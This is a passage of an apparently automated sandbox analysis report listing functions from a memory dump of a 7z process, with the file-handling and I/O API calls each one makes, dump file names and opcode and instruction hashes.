                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 2ee388004f49090fe32b9e7dcd6e38e0b9a98ac9149d7279f5144ffb09535fcf
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 3611EF716047409FDB25CF59C8C1B6ABBEAEF86308F08406EE5468B250CBB1B944C764
                                                                                                                                                                                                                                                                    Function 00C81BF8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 20COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00C81C0E
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51C6A: fputc.MSVCRT ref: 00C51C71
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: fputcfputs
                                                                                                                                                                                                                                                                    • String ID: Scan
                                                                                                                                                                                                                                                                    • API String ID: 269475090-419945757
                                                                                                                                                                                                                                                                    • Opcode ID: d3ce5817f6d1b2d57291673f1f3993cf7c1c8cfbf903d8f22b45d50804880d2b
                                                                                                                                                                                                                                                                    • Instruction ID: 273a08c81e0443652e5b285e88c3fd3f859905286989714f480175fbdc267644
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: d3ce5817f6d1b2d57291673f1f3993cf7c1c8cfbf903d8f22b45d50804880d2b
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 85D01232244910ABC7196B24FC4AE5DB7A9BF44B31719041AF84992570DF2168969B9C
                                                                                                                                                                                                                                                                    Function 00C51C6A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: fputc
                                                                                                                                                                                                                                                                    • String ID: F:v
                                                                                                                                                                                                                                                                    • API String ID: 1992160199-1773046560
                                                                                                                                                                                                                                                                    • Opcode ID: 2dae5a3f1b77d57aeaee571ae00636a911fb718fd70362960ec77c8dfb74fb05
                                                                                                                                                                                                                                                                    • Instruction ID: 26140d269f3b82b5eafa099055d72cc3dd29fcabad00df334fb8038a8efaea86
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 2dae5a3f1b77d57aeaee571ae00636a911fb718fd70362960ec77c8dfb74fb05
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 9EB09232348220ABE6581B98BC0AB886794DB09B21B21005BF544C21A09E911C424B99
                                                                                                                                                                                                                                                                    Function 00C55025 Relevance: 3.1, APIs: 2, Instructions: 112COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C5502A
                                                                                                                                                                                                                                                                      • Part of subcall function 00C55C1F: __EH_prolog.LIBCMT ref: 00C55C24
                                                                                                                                                                                                                                                                      • Part of subcall function 00C55C1F: GetFileAttributesW.KERNELBASE(?,00000001,?,00000000,?,?,00000001), ref: 00C55C44
                                                                                                                                                                                                                                                                      • Part of subcall function 00C55C1F: GetFileAttributesW.KERNEL32(00000002,00000000,00000001,?,00000000,?,?,00000001), ref: 00C55C73
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: AttributesFileH_prolog
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3244726999-0
                                                                                                                                                                                                                                                                    • Opcode ID: 562cc584c8d596d9c9a6fafc6957a6c4545862f17186710f47e84fabe3d6c640
                                                                                                                                                                                                                                                                    • Instruction ID: e00a8bc64fc798f757edbb6778535ab948d7e320ed7da7d374714565894d4d45
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 562cc584c8d596d9c9a6fafc6957a6c4545862f17186710f47e84fabe3d6c640
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 0931DF3D900906CACF14EB94C8A16FEBBB1AF51316F500019DC1277291DB215ECEEBA9
                                                                                                                                                                                                                                                                    Function 00C6AFEF Relevance: 3.1, APIs: 2, Instructions: 82COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C6AFF4
                                                                                                                                                                                                                                                                      • Part of subcall function 00C6B0F0: __EH_prolog.LIBCMT ref: 00C6B0F5
                                                                                                                                                                                                                                                                    • wcscmp.MSVCRT ref: 00C6B081
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog$wcscmp
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3232955128-0
                                                                                                                                                                                                                                                                    • Opcode ID: 82b7ae5f175a4429516e086c6ba32147ecc98aa28ce5f6b15f94878964a6ff97
                                                                                                                                                                                                                                                                    • Instruction ID: eab1c48e484a7c6c26ef28237e2548c45376237ecbe73c4354835b3948579d52
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 82b7ae5f175a4429516e086c6ba32147ecc98aa28ce5f6b15f94878964a6ff97
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 91314971D01259EECF05EFE8D9859EDFBB0BF18314F50406AE815B32A2DB305A49DB54
                                                                                                                                                                                                                                                                    Function 00C5979C Relevance: 3.1, APIs: 2, Instructions: 59COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • GetFileInformationByHandle.KERNELBASE(?,?), ref: 00C597AC
                                                                                                                                                                                                                                                                    • GetLastError.KERNEL32 ref: 00C59823
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: ErrorFileHandleInformationLast
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 275135790-0
                                                                                                                                                                                                                                                                    • Opcode ID: 0eeb76e3fd9b46798b32b8f83d683b5ad6874acb9c17151ac5a16508076c2bad
                                                                                                                                                                                                                                                                    • Instruction ID: 00e9b71d38e18c7372f64a0ea71a2d7c56f1c467e272c95a161ad6f7e14f71ec
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 0eeb76e3fd9b46798b32b8f83d683b5ad6874acb9c17151ac5a16508076c2bad
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 5511F674A01209DFDB18DF69D940A9ABBF6FF49740F058069E815EB390CB30ED44CB68
                                                                                                                                                                                                                                                                    Function 00C5649C Relevance: 3.1, APIs: 2, Instructions: 52COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • SetFilePointer.KERNELBASE(000000FF,?,00000000,?,000000FF,?,000000FF,?,00C5652C,?,?,00000000,?,00C56567,?,?), ref: 00C564DA
                                                                                                                                                                                                                                                                    • GetLastError.KERNEL32(?,00C5652C,?,?,00000000,?,00C56567,?,?,?,?,00000000), ref: 00C564E7
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: ErrorFileLastPointer
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2976181284-0
                                                                                                                                                                                                                                                                    • Opcode ID: f1c62b86f402028ef87f166619c306f80b129c66e4361874d409db88b21973b0
                                                                                                                                                                                                                                                                    • Instruction ID: 0c76802566fe80133f2f594553155c49edfd2c6485238ffc7e1feeeadd543f67
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: f1c62b86f402028ef87f166619c306f80b129c66e4361874d409db88b21973b0
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 0B11A575600244AFCB11CF64DC8099ABBE5EF05319B54C169FC1987251D332CE5ADB54
                                                                                                                                                                                                                                                                    Function 00C81E9F Relevance: 3.0, APIs: 2, Instructions: 43COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: fputs$H_prolog
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2614055831-0
                                                                                                                                                                                                                                                                    • Opcode ID: e7fb99a0876f647bed0cc315efbe5bc5ff653376331e3ca2802423e788925385
                                                                                                                                                                                                                                                                    • Instruction ID: 7c75d1552e462320fafbfaf4a090ee617ca7253eb963a519425c8ab91b7df17e
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: e7fb99a0876f647bed0cc315efbe5bc5ff653376331e3ca2802423e788925385
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 6F01DF326101009BCB15BBA8D8467EDB7F5AF80714F18402DEC42661E0DF745ACAEB89
                                                                                                                                                                                                                                                                    Function 00C81F82 Relevance: 3.0, APIs: 2, Instructions: 37COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: fputs
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 1795875747-0
                                                                                                                                                                                                                                                                    • Opcode ID: a4cc53fce8c8a7d2845d26d50b6032ff59e72c350665e7d10f108e42bcfb3ff5
                                                                                                                                                                                                                                                                    • Instruction ID: 3a9ae3ad44c2312fb7a42289b152c7a6b07355e35e7a9ecc8330114188940527
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: a4cc53fce8c8a7d2845d26d50b6032ff59e72c350665e7d10f108e42bcfb3ff5
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 61F0CD353041009FC749AB54E851B29B7E7FB84310F18401EF818871B0CF31AC55DB59
                                                                                                                                                                                                                                                                    Function 00C8036E Relevance: 3.0, APIs: 2, Instructions: 24COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: fputs
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 1795875747-0
                                                                                                                                                                                                                                                                    • Opcode ID: 957fa25d2fdf6e64361faa2e13ae0d7dcdd947486f650927eb15543512282a14
                                                                                                                                                                                                                                                                    • Instruction ID: e94277198f9bdb1b512e5ab44614dca3025035daa7865cf0e56d6ae2d845b647
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 957fa25d2fdf6e64361faa2e13ae0d7dcdd947486f650927eb15543512282a14
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 25D0123B2466156FD6152B48FC11A5937A5EBC677133A052BE640531708B532C195BA8
                                                                                                                                                                                                                                                                    Function 00C593CF Relevance: 2.7, APIs: 2, Instructions: 223COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • memcpy.MSVCRT(?,00000000,00000000,00000000,00040000,?), ref: 00C595AC
                                                                                                                                                                                                                                                                    • GetLastError.KERNEL32(?,00000000,?), ref: 00C59613
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: ErrorLastmemcpy
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2523627151-0
                                                                                                                                                                                                                                                                    • Opcode ID: 396d05073b5706542c564df2c833a5aa75f7734f4a9546d37b96a1b01c7762f2
                                                                                                                                                                                                                                                                    • Instruction ID: 13054db416eae3bd01cbe251d7152fb315cb753e53b5406d3e575185d5e47463
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 396d05073b5706542c564df2c833a5aa75f7734f4a9546d37b96a1b01c7762f2
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 78815B79600701DFCB65CE25C980A6AB3F2FF44316F544A6DEC5687A40E734FE8A8B18
                                                                                                                                                                                                                                                                    Function 00C51A52 Relevance: 2.5, APIs: 2, Instructions: 15COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: ExceptionThrowmalloc
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2436765578-0
                                                                                                                                                                                                                                                                    • Opcode ID: 5b9ec2f81461dfbfcc30af30db8711df7e0de9e444cfb24b3b96c1ae0808c3f9
                                                                                                                                                                                                                                                                    • Instruction ID: 2141f160de636334385b332838eb2fd432ccbd06d7910ca0a1eaecb3a78b40a9
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 5b9ec2f81461dfbfcc30af30db8711df7e0de9e444cfb24b3b96c1ae0808c3f9
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: FDD0A93510428C7A8F027FE4A808A9E3F2C9D01AA9B00E022FD688E016DA30C3859768
                                                                                                                                                                                                                                                                    Function 00C673C3 Relevance: 2.1, APIs: 1, Instructions: 610COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C673C8
                                                                                                                                                                                                                                                                      • Part of subcall function 00C55C9C: __EH_prolog.LIBCMT ref: 00C55CA1
                                                                                                                                                                                                                                                                      • Part of subcall function 00C67E5A: __EH_prolog.LIBCMT ref: 00C67E5F
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51A79: free.MSVCRT ref: 00C51A7D
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog$free
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2654054672-0
                                                                                                                                                                                                                                                                    • Opcode ID: bcc3ea43b94533e642df75a78561fd5862224674a70b77945ae42d822751f03b
                                                                                                                                                                                                                                                                    • Instruction ID: dc4eabbb6253acdd950f71c3bab7faadce67cd74dd86321faf578f7d5b65e99a
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: bcc3ea43b94533e642df75a78561fd5862224674a70b77945ae42d822751f03b
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 08429D35D04249DFCF21EFA4C9C1AEDBBB1AF08318F14859AE81567252DB309E89EB51
                                                                                                                                                                                                                                                                    Function 00C795ED Relevance: 1.9, APIs: 1, Instructions: 360COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C795F2
                                                                                                                                                                                                                                                                      • Part of subcall function 00C79B33: memcpy.MSVCRT(00000000,00000000,?,?,?,00000002,00C799BB,00000000,00C79AFF,?,00000007,00000000,?,00000000), ref: 00C79B82
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51A79: free.MSVCRT ref: 00C51A7D
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prologfreememcpy
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2037215848-0
                                                                                                                                                                                                                                                                    • Opcode ID: e6bdfa55316bf0cb12cf5877cceeab138a1cd2b4161bbf50f5e7876f0f5a839c
                                                                                                                                                                                                                                                                    • Instruction ID: f4cd009a1ac82d9d22860404b073e515ee89fe8718d6da5c5b43cf77c973f812
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: e6bdfa55316bf0cb12cf5877cceeab138a1cd2b4161bbf50f5e7876f0f5a839c
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 21E12874E002199FDF20DFA8C481AADBBB1FF49310F24855EE51AAB391D770AA46CB51
                                                                                                                                                                                                                                                                    Function 00C67E5A Relevance: 1.7, APIs: 1, Instructions: 206COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C67E5F
                                                                                                                                                                                                                                                                      • Part of subcall function 00C54354: __EH_prolog.LIBCMT ref: 00C54359
                                                                                                                                                                                                                                                                      • Part of subcall function 00C5150C: __EH_prolog.LIBCMT ref: 00C51511
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51A79: free.MSVCRT ref: 00C51A7D
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog$free
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2654054672-0
